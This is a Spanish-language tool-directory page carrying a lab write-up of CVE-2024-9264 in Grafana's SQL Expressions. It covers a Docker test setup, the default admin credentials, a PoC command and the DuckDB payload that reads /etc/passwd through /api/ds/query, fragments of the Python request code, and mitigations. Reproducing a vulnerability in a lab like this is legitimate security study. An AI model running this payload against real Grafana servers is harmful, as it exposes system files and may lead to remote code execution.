Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-9264 | Kitploit
Herramientas/GitHubGitHub/yeonchoda/cve-2024-9264
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubyeonchoda/cve-2024-9264

CVE-2024-9264

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-9264

Documento de referencia https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264

1. Resumen de la vulnerabilidad

ElementoDescripción
CVECVE-2024-9264
ObjetivoGrafana (SQL Expressions)
ImpactoLocal File Inclusion(LFI), Remote Code Execution(RCE)
SeveridadCritical (CVSS 9.9)
Condiciones del ataqueUsuario autenticado (privilegios de Admin)
Método de ataqueEjecución de DuckDB SQL abusando de la funcionalidad SQL Expressions

Grafana es una herramienta de monitoreo de código abierto que visualiza en forma de gráficos o paneles de fácil lectura diversos datos de servidores, aplicaciones, bases de datos, etc.

CVE-2024-9264 es una vulnerabilidad que se origina en la funcionalidad SQL Expressions de Grafana.

Debido a que Grafana no valida adecuadamente el DuckDB SQL que utiliza internamente, un atacante puede ejecutar DuckDB SQL arbitrario a través de SQL Expressions.

Esto permite:

  • Lectura de archivos locales del servidor (LFI)
  • Ejecución de comandos del sistema (RCE)
  • Fuga de información sensible

En esta práctica, se reprodujo la vulnerabilidad ejecutando Grafana 11.0.0 en un entorno Docker y leyendo el archivo /etc/passwd mediante el PoC.


2. Configuración del entorno

Entorno de práctica

ElementoDescripción
OSUbuntu
DockerDocker Compose
Grafana11.0.0

Descarga del repositorio

root@kitploit:~
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264

Ejecución de Docker

root@kitploit:~
docker-compose up

Verificación de la ejecución de Grafana

root@kitploit:~
http://localhost:3000

Ejecución de Grafana

La información de la cuenta predeterminada de Grafana es la siguiente:

root@kitploit:~
ID : admin
PW : admin

3. Condiciones de la vulnerabilidad

Para que se produzca la vulnerabilidad, deben cumplirse las siguientes condiciones:

  • Usar una versión vulnerable de Grafana
  • Funcionalidad SQL Expressions disponible
  • Que el atacante pueda iniciar sesión en Grafana
  • Que SQL Expression de DuckDB esté activado

En esta práctica se utilizó la cuenta de administrador predeterminada (admin/admin).


4. Reproducción

Ejecución del PoC

Para leer archivos locales se ejecutó el siguiente comando:

root@kitploit:~
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"

El PoC genera la siguiente SQL Expression:

root@kitploit:~
SELECT * FROM read_csv_auto('/etc/passwd')

Esta se envía a la API /api/ds/query de Grafana.


Verificación de resultados

Grafana ejecutó el SQL tal cual y devolvió el contenido de /etc/passwd en la respuesta.

Ejecución de PoC.py

Además del archivo /etc/passwd, también es posible leer otros archivos. Salida de /etc/group

Con esto se confirmó que la inclusión de archivos locales (LFI) se realizó con éxito.


5. Código PoC

El PoC está escrito en Python y realiza el siguiente proceso:

  1. Llamada a la API de Grafana (/api/ds/query)
  2. Generación de la SQL Expression
  3. Envío de la solicitud en formato JSON
  4. Análisis (parseo) de la respuesta (JSON)
  5. Salida del contenido del archivo

El SQL generado al leer archivos es el siguiente:

root@kitploit:~
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"

La solicitud a la API se realiza de la siguiente manera:

root@kitploit:~
response = requests.post(
    api_url,
    auth=(username, password),
    headers=headers,
    data=json.dumps(payload),
    verify=False
)

Esto también se puede verificar con el comando curl. curl

6. Medidas de mitigación

1. Actualizar Grafana a la última versión

La medida más efectiva es actualizar a la última versión en la que se haya corregido la vulnerabilidad.


2. Restringir la funcionalidad SQL Expressions

Desactivar la funcionalidad SQL Expressions si no es necesaria, o limitar su alcance aplicando el principio de privilegios mínimos.


3. Proteger la cuenta de administrador

  • Cambiar la cuenta predeterminada (admin/admin)
  • Usar contraseñas seguras
  • Minimizar las cuentas de administrador

Conclusión

Se reprodujo la vulnerabilidad CVE-2024-9264 tras desplegar Grafana 11.0.0 en un entorno Docker.

Utilizando un PoC escrito en Python, se logró explotar la funcionalidad SQL Expressions y leer el archivo /etc/passwd. Con ello se confirmó que, cuando la validación de entradas de SQL Expressions es insuficiente, pueden exponerse archivos sensibles e, incluso, según el entorno, derivar en ejecución remota de código. Estas vulnerabilidades pueden prevenirse mediante medidas de seguridad como la actualización a la última versión, la restricción de la funcionalidad SQL Expressions y la protección de las cuentas de administrador.

Descargar herramienta